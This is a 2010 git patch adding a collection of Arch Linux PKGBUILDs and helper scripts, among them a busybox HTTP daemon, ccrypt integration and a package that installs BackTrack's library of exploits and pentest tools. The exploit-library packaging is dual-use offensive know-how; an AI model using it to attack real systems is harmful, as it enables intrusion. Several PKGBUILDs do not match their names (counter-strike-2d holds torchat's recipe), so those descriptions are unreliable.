From 209feeb06bdedad25e0193c53b3660c2b641ad50 Mon Sep 17 00:00:00 2001 From: Harvie Date: Wed, 26 May 2010 05:06:41 +0200 Subject: [PATCH] initial commit --- .gitignore | 1 + Makefile | 9 + README | 3 + autozen/PKGBUILD | 50 + backtrack/PKGBUILD | 69 + backtrack/PKGBUILD.4b | 67 + busybox-httpd/PKGBUILD | 39 + busybox-httpd/busybox-httpd | 27 + busybox-httpd/busybox-httpd-rc | 44 + busybox-httpd/busybox-httpd-watch | 3 + busybox-httpd/httpd-rc.conf | 15 + busybox-httpd/httpd.conf | 17 + ccrypt-gui/PKGBUILD | 41 + counter-strike-2d/PKGBUILD | 58 + escreen/PKGBUILD | 28 + figlet-fonts/PKGBUILD | 39 + firefox-trunk/PKGBUILD | 67 + freecraft/PKGBUILD | 81 + ggseq/PKGBUILD | 31 + google-video-uploader/GoogleVideoUploader.jar | Bin 0 -> 102699 bytes google-video-uploader/PKGBUILD | 41 + google-video-uploader/favicon.ico | Bin 0 -> 1150 bytes gpointing-device-settings/PKGBUILD | 51 + harvies-jukebox-svn/PKGBUILD | 25 + hpong/PKGBUILD | 37 + hpong/pong.c | 345 +++ imageenlarger/PKGBUILD | 45 + imageenlarger/smillaenlarger.ini | 33 + infector/PKGBUILD | 29 + java-swing-default-laf/PKGBUILD | 25 + java-swing-default-laf/swing.properties | 7 + kernel-man-pages/PKGBUILD | 34 + klog/PKGBUILD | 37 + klog/PKGBUILD.bak | 37 + klog/bash | 0 klog/klog | Bin 0 -> 7276 bytes klog/klog.c | 111 + kojoney/PKGBUILD | 32 + kolourpaint-bin/PKGBUILD | 31 + kolourpaint-dummy/PKGBUILD | 10 + kolourpaint/PKGBUILD | 30 + laptop-init-script/PKGBUILD | 70 + lftpfs/PKGBUILD | 26 + milw0rm/PKGBUILD | 23 + milw0rm/PKGBUILD-old | 55 + milw0rm/milw0rm.bash | 35 + milw0rm/milw0rm.tar.bz2.1 | Bin 0 -> 44586 bytes milw0rm/milw0rm/makeindex-milw0rm | 12 + milw0rm/update-milw0rm | 32 + mp3mixer/PKGBUILD | 28 + mp3mixer/test | 2 + ocr-a/OCR-A-10.ttf | Bin 0 -> 22076 bytes ocr-a/PKGBUILD | 20 + ocr-a/README | 54 + oolaboola/PKGBUILD | 24 + oolaboola/mixxx.log | 468 +++ opera-mini/PKGBUILD | 26 + .../opera-mini-4.2.13337-advanced-cs.jad | 30 + .../opera-mini-4.2.13337-advanced-cs.jar | Bin 0 -> 127505 bytes opera-mini/opera-mini.desktop | 78 + opera-mini/opera-mini.launcher | 6 + optar/PKGBUILD | 42 + optar/font.h | 2529 +++++++++++++++++ optar/optar.300dpi.h | 77 + paperback/PKGBUILD | 30 + perl-astro-moonphase/PKGBUILD | 52 + perl-fuse-simple/PKGBUILD | 43 + perl-fuse-simple/perl/PKGBUILD | 44 + perl-image-objectdetect/PKGBUILD | 44 + php/PKGBUILD | 350 +++ php/apache.conf | 9 + php/db-configure.patch | 51 + php/gd-info-segfault.patch | 26 + php/php.ini.patch | 120 + picogen/.gitignore | 1 + picogen/PKGBUILD | 55 + pidgin-qip-decoder/LICENSE | 340 +++ pidgin-qip-decoder/Makefile | 98 + pidgin-qip-decoder/PKGBUILD | 25 + pidgin-qip-decoder/README | 45 + pidgin-qip-decoder/qip-decoder.c | 575 ++++ pidgin-qip-decoder/qip-decoder.o | Bin 0 -> 10048 bytes pidgin-qip-decoder/qip-decoder.so | Bin 0 -> 15868 bytes riak/.PKGINFO | 19 + riak/PKGBUILD | 72 + riak/mixxx.log | 676 +++++ riak/riak.install | 38 + riak/riak.rc | 38 + rsyncrypto/PKGBUILD | 26 + rtorrent-screen/PKGBUILD | 20 + rtorrent-screen/rtorrent-screen.bash | 69 + rtorrent-screen/sample.html | 55 + rtorrent-screen/sample.html~ | 55 + runez-ttf/PKGBUILD | 18 + runez-ttf/libssl.so | 1 + runez-ttf/runez.ttf | Bin 0 -> 43484 bytes sountracker/PKGBUILD | 20 + sountracker/crash-save.xm | Bin 0 -> 345 bytes swscanner/PKGBUILD | 24 + t-mobile-4G-combi/PKGBUILD | 122 + thttpd/LICENSE | 26 + thttpd/PKGBUILD | 34 + thttpd/thttpd | 39 + thttpd/thttpd_config | 5 + torchat/PKGBUILD | 57 + webpidgin-z/PKGBUILD | 22 + webpidgin-z/descargar.php | Bin 0 -> 201262 bytes wxccrypt/PKGBUILD | 28 + wxccrypt/wx_ccrypt_2.py | 363 +++ xscreensaver-arch-logo/ChangeLog | 40 + xscreensaver-arch-logo/LICENSE | 9 + xscreensaver-arch-logo/PKGBUILD | 57 + xscreensaver-arch-logo/add-electricsheep.diff | 12 + xscreensaver-arch-logo/logo-180.png | Bin 0 -> 17053 bytes xscreensaver-arch-logo/logo-180.xpm | 200 ++ xscreensaver-arch-logo/logo-50.png | Bin 0 -> 3037 bytes xscreensaver-arch-logo/logo-50.xpm | 70 + .../xscreensaver-graphics-all/.gitignore | 1 + .../logo-180-archlinux.xpm | 200 ++ .../logo-180-crystal-2.xpm | 200 ++ .../logo-180-crystal-3.xpm | 200 ++ .../logo-180-crystal-4.xpm | 200 ++ .../logo-180-crystal.xpm | 200 ++ .../logo-180-fbi.xpm | 200 ++ .../logo-180-hicontrast-2.xpm | 200 ++ .../logo-180-hicontrast.xpm | 200 ++ .../logo-180-key.xpm | 200 ++ .../logo-180-lock-ok.xpm | 200 ++ .../logo-180-lock-wooden.xpm | 200 ++ .../logo-180-neu.xpm | 200 ++ .../logo-180-tango-2.xpm | 200 ++ .../logo-180-tango-3.xpm | 200 ++ .../logo-180-tango-4.xpm | 200 ++ .../logo-180-tango.xpm | 200 ++ .../logo-50-archlinux.xpm | 70 + .../xscreensaver-properties.desktop | 160 ++ xscreensaver-arch-logo/xscreensaver.pam | 1 + 137 files changed, 12841 insertions(+) create mode 100644 .gitignore create mode 100644 Makefile create mode 100644 README create mode 100644 autozen/PKGBUILD create mode 100644 backtrack/PKGBUILD create mode 100644 backtrack/PKGBUILD.4b create mode 100644 busybox-httpd/PKGBUILD create mode 100755 busybox-httpd/busybox-httpd create mode 100755 busybox-httpd/busybox-httpd-rc create mode 100755 busybox-httpd/busybox-httpd-watch create mode 100644 busybox-httpd/httpd-rc.conf create mode 100644 busybox-httpd/httpd.conf create mode 100644 ccrypt-gui/PKGBUILD create mode 100644 counter-strike-2d/PKGBUILD create mode 100644 escreen/PKGBUILD create mode 100644 figlet-fonts/PKGBUILD create mode 100644 firefox-trunk/PKGBUILD create mode 100644 freecraft/PKGBUILD create mode 100644 ggseq/PKGBUILD create mode 100644 google-video-uploader/GoogleVideoUploader.jar create mode 100644 google-video-uploader/PKGBUILD create mode 100644 google-video-uploader/favicon.ico create mode 100644 gpointing-device-settings/PKGBUILD create mode 100644 harvies-jukebox-svn/PKGBUILD create mode 100644 hpong/PKGBUILD create mode 100644 hpong/pong.c create mode 100644 imageenlarger/PKGBUILD create mode 100644 imageenlarger/smillaenlarger.ini create mode 100644 infector/PKGBUILD create mode 100644 java-swing-default-laf/PKGBUILD create mode 100755 java-swing-default-laf/swing.properties create mode 100644 kernel-man-pages/PKGBUILD create mode 100644 klog/PKGBUILD create mode 100644 klog/PKGBUILD.bak create mode 100644 klog/bash create mode 100755 klog/klog create mode 100644 klog/klog.c create mode 100644 kojoney/PKGBUILD create mode 100644 kolourpaint-bin/PKGBUILD create mode 100644 kolourpaint-dummy/PKGBUILD create mode 100644 kolourpaint/PKGBUILD create mode 100644 laptop-init-script/PKGBUILD create mode 100644 lftpfs/PKGBUILD create mode 100644 milw0rm/PKGBUILD create mode 100644 milw0rm/PKGBUILD-old create mode 100644 milw0rm/milw0rm.bash create mode 100644 milw0rm/milw0rm.tar.bz2.1 create mode 100755 milw0rm/milw0rm/makeindex-milw0rm create mode 100755 milw0rm/update-milw0rm create mode 100644 mp3mixer/PKGBUILD create mode 100644 mp3mixer/test create mode 100644 ocr-a/OCR-A-10.ttf create mode 100644 ocr-a/PKGBUILD create mode 100644 ocr-a/README create mode 100644 oolaboola/PKGBUILD create mode 100644 oolaboola/mixxx.log create mode 100644 opera-mini/PKGBUILD create mode 100644 opera-mini/opera-mini-4.2.13337-advanced-cs.jad create mode 100644 opera-mini/opera-mini-4.2.13337-advanced-cs.jar create mode 100644 opera-mini/opera-mini.desktop create mode 100644 opera-mini/opera-mini.launcher create mode 100644 optar/PKGBUILD create mode 100644 optar/font.h create mode 100644 optar/optar.300dpi.h create mode 100644 paperback/PKGBUILD create mode 100644 perl-astro-moonphase/PKGBUILD create mode 100644 perl-fuse-simple/PKGBUILD create mode 100644 perl-fuse-simple/perl/PKGBUILD create mode 100644 perl-image-objectdetect/PKGBUILD create mode 100644 php/PKGBUILD create mode 100644 php/apache.conf create mode 100644 php/db-configure.patch create mode 100644 php/gd-info-segfault.patch create mode 100644 php/php.ini.patch create mode 100644 picogen/.gitignore create mode 100644 picogen/PKGBUILD create mode 100755 pidgin-qip-decoder/LICENSE create mode 100644 pidgin-qip-decoder/Makefile create mode 100644 pidgin-qip-decoder/PKGBUILD create mode 100755 pidgin-qip-decoder/README create mode 100755 pidgin-qip-decoder/qip-decoder.c create mode 100644 pidgin-qip-decoder/qip-decoder.o create mode 100755 pidgin-qip-decoder/qip-decoder.so create mode 100644 riak/.PKGINFO create mode 100644 riak/PKGBUILD create mode 100644 riak/mixxx.log create mode 100644 riak/riak.install create mode 100755 riak/riak.rc create mode 100644 rsyncrypto/PKGBUILD create mode 100644 rtorrent-screen/PKGBUILD create mode 100644 rtorrent-screen/rtorrent-screen.bash create mode 100644 rtorrent-screen/sample.html create mode 100644 rtorrent-screen/sample.html~ create mode 100644 runez-ttf/PKGBUILD create mode 120000 runez-ttf/libssl.so create mode 100644 runez-ttf/runez.ttf create mode 100644 sountracker/PKGBUILD create mode 100644 sountracker/crash-save.xm create mode 100644 swscanner/PKGBUILD create mode 100644 t-mobile-4G-combi/PKGBUILD create mode 100644 thttpd/LICENSE create mode 100644 thttpd/PKGBUILD create mode 100755 thttpd/thttpd create mode 100644 thttpd/thttpd_config create mode 100644 torchat/PKGBUILD create mode 100644 webpidgin-z/PKGBUILD create mode 100644 webpidgin-z/descargar.php create mode 100644 wxccrypt/PKGBUILD create mode 100755 wxccrypt/wx_ccrypt_2.py create mode 100644 xscreensaver-arch-logo/ChangeLog create mode 100644 xscreensaver-arch-logo/LICENSE create mode 100644 xscreensaver-arch-logo/PKGBUILD create mode 100644 xscreensaver-arch-logo/add-electricsheep.diff create mode 100644 xscreensaver-arch-logo/logo-180.png create mode 100644 xscreensaver-arch-logo/logo-180.xpm create mode 100644 xscreensaver-arch-logo/logo-50.png create mode 100644 xscreensaver-arch-logo/logo-50.xpm create mode 100644 xscreensaver-arch-logo/xscreensaver-graphics-all/.gitignore create mode 100644 xscreensaver-arch-logo/xscreensaver-graphics-all/logo-180-archlinux.xpm create mode 100644 xscreensaver-arch-logo/xscreensaver-graphics-all/logo-180-crystal-2.xpm create mode 100644 xscreensaver-arch-logo/xscreensaver-graphics-all/logo-180-crystal-3.xpm create mode 100644 xscreensaver-arch-logo/xscreensaver-graphics-all/logo-180-crystal-4.xpm create mode 100644 xscreensaver-arch-logo/xscreensaver-graphics-all/logo-180-crystal.xpm create mode 100644 xscreensaver-arch-logo/xscreensaver-graphics-all/logo-180-fbi.xpm create mode 100644 xscreensaver-arch-logo/xscreensaver-graphics-all/logo-180-hicontrast-2.xpm create mode 100644 xscreensaver-arch-logo/xscreensaver-graphics-all/logo-180-hicontrast.xpm create mode 100644 xscreensaver-arch-logo/xscreensaver-graphics-all/logo-180-key.xpm create mode 100644 xscreensaver-arch-logo/xscreensaver-graphics-all/logo-180-lock-ok.xpm create mode 100644 xscreensaver-arch-logo/xscreensaver-graphics-all/logo-180-lock-wooden.xpm create mode 100644 xscreensaver-arch-logo/xscreensaver-graphics-all/logo-180-neu.xpm create mode 100644 xscreensaver-arch-logo/xscreensaver-graphics-all/logo-180-tango-2.xpm create mode 100644 xscreensaver-arch-logo/xscreensaver-graphics-all/logo-180-tango-3.xpm create mode 100644 xscreensaver-arch-logo/xscreensaver-graphics-all/logo-180-tango-4.xpm create mode 100644 xscreensaver-arch-logo/xscreensaver-graphics-all/logo-180-tango.xpm create mode 100644 xscreensaver-arch-logo/xscreensaver-graphics-all/logo-50-archlinux.xpm create mode 100644 xscreensaver-arch-logo/xscreensaver-properties.desktop create mode 100644 xscreensaver-arch-logo/xscreensaver.pam diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..520b68e --- /dev/null +++ b/.gitignore @@ -0,0 +1 @@ +arch-games diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..7eb5ed3 --- /dev/null +++ b/Makefile @@ -0,0 +1,9 @@ +help: + # + # usage: + # - make clean + # +clean: + rm -rf */pkg/ + rm -rf */src/ + find . -regextype egrep -iregex '.*\.(gz|xz|bz|bz2|zip|rar)$$' -print0 | xargs -0 rm -f diff --git a/README b/README new file mode 100644 index 0000000..f8e40ba --- /dev/null +++ b/README @@ -0,0 +1,3 @@ +PKGBUILDs maintained by me +http://aur.archlinux.org/packages.php?SeB=m&K=Harvie&O=0&PP=1000&SO=d&SB=v +http://blog.harvie.cz/ diff --git a/autozen/PKGBUILD b/autozen/PKGBUILD new file mode 100644 index 0000000..dfe7857 --- /dev/null +++ b/autozen/PKGBUILD @@ -0,0 +1,50 @@ +# Contributor: realitygaps +# Contributor: Harvie +# Maintainer: realitygaps +pkgname=autozen +pkgver=2.1 +pkgrel=3 +pkgdesc="A binural brainwave generator. Cause the user to experience an altered state of consciousness. Wear headphones. Don't use if you suffer for any kind of epilepsy and use at your own risk!" +url="http://www.linuxlabs.com/autozen.shtml" +license="GPL" +arch=('i686' 'x86_64') +source=(http://www.linux.edu/download/$pkgname-$pkgver.tar.gz) +md5sums=('8d85f8435f3733b9ea835cd0ffd106cc') + +build() { + #Make + cd ${srcdir}/${pkgname}-${pkgver}/ || return 1 + make clean || return 1 + make || return 1 + + mkdir -p ${pkgdir}/usr/ + make "PREFIX=${pkgdir}/usr" install || return 1 + + #Menu Icons + mkdir -p ${pkgdir}/usr/share/applications/ + + echo '[Desktop Entry] +Encoding=UTF-8 +Name=AutoZen +GenericName=BrainWave Generator/Synchronizator +Exec=autozen +Icon=autozen +Categories=Application;GTK;AudioVideo;Player; +Terminal=false +Type=Application +' > ${pkgdir}/usr/share/applications/autozen.desktop + + echo '[Desktop Entry] +Encoding=UTF-8 +Name=AutoZen (colorbox) +GenericName=BrainWave Generator/Synchronizator +Exec=autozen -colorbox +Icon=autozen +Categories=Application;GTK;AudioVideo;Player; +Terminal=false +Type=Application +' > ${pkgdir}/usr/share/applications/autozen-colorbox.desktop + + #Rights + chmod -R 755 ${pkgdir} +} diff --git a/backtrack/PKGBUILD b/backtrack/PKGBUILD new file mode 100644 index 0000000..0de6a14 --- /dev/null +++ b/backtrack/PKGBUILD @@ -0,0 +1,69 @@ +# Contributor: Thomas Mudrunka +# Maintainer: Thomas Mudrunka +# You can also contact me on http://blog.harvie.cz/ + +pkgname=backtrack-pentest-library +_imagename=bt4-final.iso +pkgver=4f +pkgrel=1 +pkgdesc='Pentesting scripts from Back-Track live-cd Linux distribution. All tools and exploits were collected by Max Moser. These are extracted from /pentest directory on DVD and installed to /opt/back-track/. More than 700MB of scripts in library!' +arch=('any') +license=('many') +url="http://www.remote-exploit.org/backtrack.html" +makedepends=() +optdepends=( + 'exploit-db: Exploits from exploit-db.com' + 'milw0rm-exploit-database: Exploits from milw0rm.com (not updated)' + 'metasploit: MetaSploit exploiting framework + exploits' + 'nmap: Basic network scanner' + 'nessus-core: Advanced security scanner' + 'nessus-libraries: Advanced security scanner libraries' + 'nessus-plugins: Advanced security scanner plugins' + 'wine: To execute some of utilities from library' + 'python: library contains lot of python scripts' + 'perl: library contains lot of perl scripts' +) +source=( + #"ftp://mirror.informatik.uni-mannheim.de/pub/linux/distributions/BackTrack/${_imagename}/${_imagename}.iso" + #"http://www.backtrack-linux.org/download.php?fname=${_imagename}" + "http://nl2.beadwindow.net/mirrors/backtrack-linux/${_imagename}" +) +md5sums=( + #'7d1eb7f4748759e9735fee1b8a17c1d8' #too slow - uncomment if needed/paranoid ;) +) + +build() { + _destdir='/opt/backtrack' + + echo + echo '==> Building of this package will take a while.' + echo '==> So get coffee or something. ;o)' + echo + + echo "==> Creating target directory ${_destdir} in package." + mkdir -p ${pkgdir}/${_destdir}/tools + + cd ${startdir} + rm -rf ${startdir}/src/* + + echo '==> Extracting basic tools from iso...' + for i in activate deactivate deb2lzm dir2lzm liblinuxlive lzm2dir mksquashfs tgz2lzm unsquashfs; do + iso-read -i ${_imagename}.iso -e "BT4/tools/$i" -o "./src/$i" || return 1 + chmod +x "./src/$i" || return 1 + done; + + echo '==> Extracting pentest.lzm archive from iso...' + iso-read -i ${_imagename}.iso -e BT4/base/pentest.lzm -o src/pentest.lzm || return 1 + + echo '==> Extracting files from pentest.lzm archive...' + echo + ./src/lzm2dir ./src/pentest.lzm ${pkgdir}/${_destdir}/ || return 1 + echo; echo; + + rm -rf ./src/pentest.lzm + cp ./src/* ${pkgdir}/${_destdir}/tools/ + + chown root:root ${pkgdir}/${_destdir} + chmod -R 655 ${pkgdir}/${_destdir} +} + diff --git a/backtrack/PKGBUILD.4b b/backtrack/PKGBUILD.4b new file mode 100644 index 0000000..3f86cee --- /dev/null +++ b/backtrack/PKGBUILD.4b @@ -0,0 +1,67 @@ +# Contributor: Thomas Mudrunka +# Maintainer: Thomas Mudrunka +# You can also contact me on http://blog.harvie.cz/ + +pkgname=backtrack-pentest-library +_imagename=bt4-beta +pkgver=4b +pkgrel=1 +pkgdesc='Pentesting scripts from Back-Track live-cd Linux distribution. All tools and exploits were collected by Max Moser. These are extracted from /pentest directory on DVD and installed to /opt/back-track/. More than 700MB of scripts in library!' +arch=('any') +license=('many') +url="http://www.remote-exploit.org/backtrack.html" +makedepends=() +optdepends=( + 'exploit-db: Exploits from exploit-db.com' + 'milw0rm-exploit-database: Exploits from milw0rm.com (not updated)' + 'metasploit: MetaSploit exploiting framework + exploits' + 'nmap: Basic network scanner' + 'nessus-core: Advanced security scanner' + 'nessus-libraries: Advanced security scanner libraries' + 'nessus-plugins: Advanced security scanner plugins' + 'wine: To execute some of utilities from library' + 'python: library contains lot of python scripts' + 'perl: library contains lot of perl scripts' +) +source=( + "ftp://mirror.informatik.uni-mannheim.de/pub/linux/distributions/BackTrack/${_imagename}/${_imagename}.iso" +) +md5sums=( + #'7d1eb7f4748759e9735fee1b8a17c1d8' #too slow - uncomment if needed/paranoid ;) +) + +build() { + _destdir='/opt/backtrack' + + echo + echo '==> Building of this package will take a while.' + echo '==> So get coffee or something. ;o)' + echo + + echo "==> Creating target directory ${_destdir} in package." + mkdir -p ${pkgdir}/${_destdir}/tools + + cd ${startdir} + rm -rf ${startdir}/src/* + + echo '==> Extracting basic tools from iso...' + for i in activate deactivate deb2lzm dir2lzm liblinuxlive lzm2dir mksquashfs tgz2lzm unsquashfs; do + iso-read -i ${_imagename}.iso -e "BT4/tools/$i" -o "./src/$i" || return 1 + chmod +x "./src/$i" || return 1 + done; + + echo '==> Extracting pentest.lzm archive from iso...' + iso-read -i ${_imagename}.iso -e BT4/base/pentest.lzm -o src/pentest.lzm || return 1 + + echo '==> Extracting files from pentest.lzm archive...' + echo + ./src/lzm2dir ./src/pentest.lzm ${pkgdir}/${_destdir}/ || return 1 + echo; echo; + + rm -rf ./src/pentest.lzm + cp ./src/* ${pkgdir}/${_destdir}/tools/ + + chown root:root ${pkgdir}/${_destdir} + chmod -R 655 ${pkgdir}/${_destdir} +} + diff --git a/busybox-httpd/PKGBUILD b/busybox-httpd/PKGBUILD new file mode 100644 index 0000000..b70b21f --- /dev/null +++ b/busybox-httpd/PKGBUILD @@ -0,0 +1,39 @@ +# Contributor: Thomas Mudrunka +# Maintainer: Thomas Mudrunka +# You can also contact me on http://blog.harvie.cz/ + +pkgname=busybox-httpd +pkgver=1 +pkgrel=2 +pkgdesc="BusyBox HTTPd integration with Arch. Support for IPv6,MIME,CGI,PHP,PERL,Python,BASH,BasicHTTPAuth,Access control and more. Usefull for embeded systems or chroots." +arch=('any') +license=('GPL') +url="http://www.busybox.net/" +depends=('busybox') +optdepends=('php: dynamic pages support') +backup=('etc/busybox/httpd.conf' 'etc/busybox/httpd-rc.conf') +source=(busybox-httpd busybox-httpd-rc busybox-httpd-watch httpd.conf httpd-rc.conf) +md5sums=('3bdf984a53c1361bc2a28ff33542ea74' + '46c0e5fa50b84d93cb34d7bc2563e34a' + 'd897aba2f008d911c97a837f9645ffc9' + 'd8ae5de2c6a10a1b68c85304bf58da72' + '41e20b684539b665bce653a64aa37972') + +build() { + cd "$srcdir" + + mkdir -p "$pkgdir"/usr/bin + mkdir -p "$pkgdir"/etc/rc.d + mkdir -p "$pkgdir"/etc/busybox + + cp busybox-httpd "$pkgdir"/usr/bin/ + cp busybox-httpd-watch "$pkgdir"/usr/bin/ + cp busybox-httpd-rc "$pkgdir"/etc/rc.d/busybox-httpd + cp httpd.conf "$pkgdir"/etc/busybox + cp httpd-rc.conf "$pkgdir"/etc/busybox + + chmod -R 755 "$pkgdir" + #protect potential passwords + chown -R root:http "$pkgdir"/etc/busybox/httpd.conf + chmod -R 740 "$pkgdir"/etc/busybox/httpd.conf +} diff --git a/busybox-httpd/busybox-httpd b/busybox-httpd/busybox-httpd new file mode 100755 index 0000000..8416a78 --- /dev/null +++ b/busybox-httpd/busybox-httpd @@ -0,0 +1,27 @@ +#!/bin/sh + +bind='80'; +root='/srv/http'; +conf='/etc/busybox/httpd.conf'; +user='http:http'; +realm='Protected Area'; +log='/var/log/busybox-httpd.log'; +pidfile='/var/run/busybox-httpd.pid'; +. /etc/busybox/httpd-rc.conf + +if [ ! -z "$1" ]; then + pidfile="$1"; +fi; + +echo -e "\n[!] HTTPd restarted: $(date -R)" >> "$log"; + +/bin/busybox httpd \ + -f -vv \ + -p "$bind" \ + -h "$root" \ + -c "$conf" \ + -u "$user" \ + -r "$realm" \ + >> "$log" 2>&1 & + +echo "$!" > "$pidfile"; diff --git a/busybox-httpd/busybox-httpd-rc b/busybox-httpd/busybox-httpd-rc new file mode 100755 index 0000000..745c508 --- /dev/null +++ b/busybox-httpd/busybox-httpd-rc @@ -0,0 +1,44 @@ +#!/bin/bash +#universal daemon controller +# general config +. /etc/rc.conf +. /etc/rc.d/functions + +daemonid="busybox-httpd" #arch-style daemon identification +binary="/usr/bin/busybox-httpd" #daemon binary +pidfile="/var/run/$daemonid.pid" #maybe you don't need to change this... +description="BusyBox HTTP Daemon" #daemon description... + +PID=$(cat "$pidfile" 2>/dev/null); + +case "$1" in + start) + stat_busy "Starting $description" + [ -z "$PID" ] && "$binary" "$pidfile" 2>&1 + if [ $? -gt 0 ]; then + stat_fail + else + add_daemon "$daemonid" + stat_done + fi + ;; + stop) + stat_busy "Stopping $description" + [ ! -z "$PID" ] && kill $PID &>/dev/null + if [ $? -gt 0 ]; then + rm -f "$pidfile" + stat_fail + else + rm_daemon "$daemonid" + rm -f "$pidfile" + stat_done + fi + ;; + restart) + $0 stop + sleep 1 + $0 start + ;; + *) + echo "usage: $0 {start|stop|restart}" +esac diff --git a/busybox-httpd/busybox-httpd-watch b/busybox-httpd/busybox-httpd-watch new file mode 100755 index 0000000..85af6ce --- /dev/null +++ b/busybox-httpd/busybox-httpd-watch @@ -0,0 +1,3 @@ +#!/bin/sh +. /etc/busybox/httpd-rc.conf +tail -f "$log"; diff --git a/busybox-httpd/httpd-rc.conf b/busybox-httpd/httpd-rc.conf new file mode 100644 index 0000000..831ae48 --- /dev/null +++ b/busybox-httpd/httpd-rc.conf @@ -0,0 +1,15 @@ +#!/bin/sh + +bind='80'; + #-p [IP:]PORT Bind to ip:port (default *:80) +root='/srv/http'; + #-h HOME Home directory (default .) +conf='/etc/busybox/httpd.conf'; + #-c FILE Configuration file (default httpd.conf) +user='http:http'; + #-u USER[:GRP] Set uid/gid after binding to port (make sure that user exists) +realm='Protected Area'; + #-r REALM Authentication Realm for Basic Authentication + +log='/var/log/busybox-httpd.log'; +pidfile='/var/run/busybox-httpd.pid'; diff --git a/busybox-httpd/httpd.conf b/busybox-httpd/httpd.conf new file mode 100644 index 0000000..bd80d8b --- /dev/null +++ b/busybox-httpd/httpd.conf @@ -0,0 +1,17 @@ +#busybox httpd configuration +#uncomment what needed + +#Access settings (A=allow,D=deny) + #A:127.0.0.1 + #A:10.7.10.0/25 + #D:* + +#Authorization settings (directory:username:password) + #/:user:pass + #/private:user:privatepass + +#CGI settings (filename_mask:interpreter_binary) + #*.php:/usr/bin/php-cgi + #*.sh:/bin/bash + #*.py:/usr/bin/python + #*.pl:/usr/bin/perl diff --git a/ccrypt-gui/PKGBUILD b/ccrypt-gui/PKGBUILD new file mode 100644 index 0000000..fa298f2 --- /dev/null +++ b/ccrypt-gui/PKGBUILD @@ -0,0 +1,41 @@ +# Contributor: Thomas Mudrunka +# You can also contact me on http://blog.harvie.cz/ + +pkgname=ccrypt-gui-integrations +pkgver=1.0 +pkgrel=3 +pkgdesc="Scripts to add shortcuts to ccrypt encryption/decryption to gnome/kde/explorer menu which allows user to encrypt/decrypt files easily. Each user must enable/disable it using ccrypt-*-install and ccrypt-*-remove binaries." +arch=('any') +license=('GPL') +url="http://ccrypt.sourceforge.net/VF/README.html" +depends=('ccrypt') +optdepends=( + 'gnome: ccrypt gui integration for gnome' + 'kde: ccrypt gui integration for kde' +) + +source=( + "http://ccrypt.sourceforge.net/VF/ccrypt_gui_integration.zip" +) + +md5sums=( + '1317d45b4cc611f8163d601f96ffb955' +) + +build() { + mkdir -p ${pkgdir}/opt/ccrypt-gui-integration + cp ${srcdir}/ccrypt_gui_integration/* ${pkgdir}/opt/ccrypt-gui-integration + + mkdir -p ${pkgdir}/usr/share/pixmaps + cp ${srcdir}/ccrypt_gui_integration/*.png ${pkgdir}/usr/share/pixmaps + + mkdir -p ${pkgdir}/usr/share/doc/ccrypt-gui-integrations + cp ${srcdir}/ccrypt_gui_integration/readme ${pkgdir}/usr/share/doc/ccrypt-gui-integrations + cp ${srcdir}/ccrypt_gui_integration/*.html ${pkgdir}/usr/share/doc/ccrypt-gui-integrations + + mkdir -p ${pkgdir}/usr/bin + cp ${srcdir}/ccrypt_gui_integration/*-install ${pkgdir}/usr/bin + cp ${srcdir}/ccrypt_gui_integration/*-remove ${pkgdir}/usr/bin + + chmod -R 755 ${pkgdir}/ +} diff --git a/counter-strike-2d/PKGBUILD b/counter-strike-2d/PKGBUILD new file mode 100644 index 0000000..0258c13 --- /dev/null +++ b/counter-strike-2d/PKGBUILD @@ -0,0 +1,58 @@ +# Contributor: Thomas Mudrunka +# You can also contact me on http://blog.harvie.cz/ + +pkgname=torchat +pkgver=0.9.9.287 +pkgrel=2 +pkgdesc="Messenger application on top of the Tor network and it's location hidden services. Nobody will be able to find out where you are, find out what you send/receive, to whom you are sending/receiving from and where are your contacts located." +arch=('any') +license=('GPL') +url="http://code.google.com/p/torchat/" +depends=( + 'python' + 'wxpython' +) + +source=( + #"http://torchat.googlecode.com/files/${pkgname}-source-${pkgver}.zip" + "" + "http://www.unrealsoftware.de/get.php?cid=311245915&get=cs2d_0113_win.zip&p=1" + ) + +md5sums=( + #'de18fb798664757e222c9f953d9c66a7' + ) + + +build() { + mkdir -p ${pkgdir}/opt/torchat/ + rm -rf ${srcdir}/src/portable.txt #disable the "portable mode" + cp -r ${srcdir}/* ${pkgdir}/opt/torchat/ + + rm -rf ${pkgdir}/opt/torchat/${pkgname}-source-${pkgver}.zip + + mkdir -p ${pkgdir}/usr/bin + echo '#!/bin/sh + /opt/torchat/src/torchat.py $@' > ${pkgdir}/usr/bin/torchat + chmod -R 655 ${pkgdir}/usr/bin/torchat + + + #Desktop Launcher + mkdir -p ${pkgdir}/usr/share/applications + echo '[Desktop Entry] +Encoding=UTF-8 +Name=TORChat +GenericName=TORChat +Comment=Messenger application on top of the Tor network and location hidden services +Exec=/usr/bin/torchat +Icon=torchat +StartupNotify=true +Terminal=false +Type=Application +Categories=Network;InstantMessaging;' > ${pkgdir}/usr/share/applications/torchat.desktop + + #Icon + mkdir -p ${pkgdir}/usr/share/pixmaps + cp ${srcdir}/src/icons/torchat.png ${pkgdir}/usr/share/pixmaps/ + +} diff --git a/escreen/PKGBUILD b/escreen/PKGBUILD new file mode 100644 index 0000000..8879fb5 --- /dev/null +++ b/escreen/PKGBUILD @@ -0,0 +1,28 @@ +# Contributor: Thomas Mudrunka +# You can also contact me on http://blog.harvie.cz/ + +pkgname=escreen +pkgver=0.0.4 +pkgrel=1 +pkgdesc="Warcraft2 clone - now deprecated and replaced by Stratagus/Wargus. You can also play Original WarCraft 1 or 2 in DosBox." +arch=('i686' 'x86_64') +license=('GPL') +url="http://www.root.cz/clanky/freecraft-the-war-begins/" +depends=( + 'evas-svn' +) + +source=( + "http://dl.exactcode.de/oss/escreen/${pkgname}-${pkgver}.tar.bz2" +) + +md5sums=( +# 'ed59ac8bb45f3cb1334658f7e1570ea8' +) + + +build() { + mkdir -p ${pkgdir}/opt/freecraft + + chmod -R 655 ${pkgdir}/ +} diff --git a/figlet-fonts/PKGBUILD b/figlet-fonts/PKGBUILD new file mode 100644 index 0000000..6a562cd --- /dev/null +++ b/figlet-fonts/PKGBUILD @@ -0,0 +1,39 @@ +# Contributor: Thomas Mudrunka +# Maintainer: Thomas Mudrunka +# You can also contact me on http://blog.harvie.cz/ + +pkgname=figlet-fonts +pkgver=1.0 +pkgrel=1 +pkgdesc="Additional asciiart fonts for figlet" +arch=('any') +license=('GPL') +url="http://www.figlet.org/fontdb.cgi" +depends=(figlet) 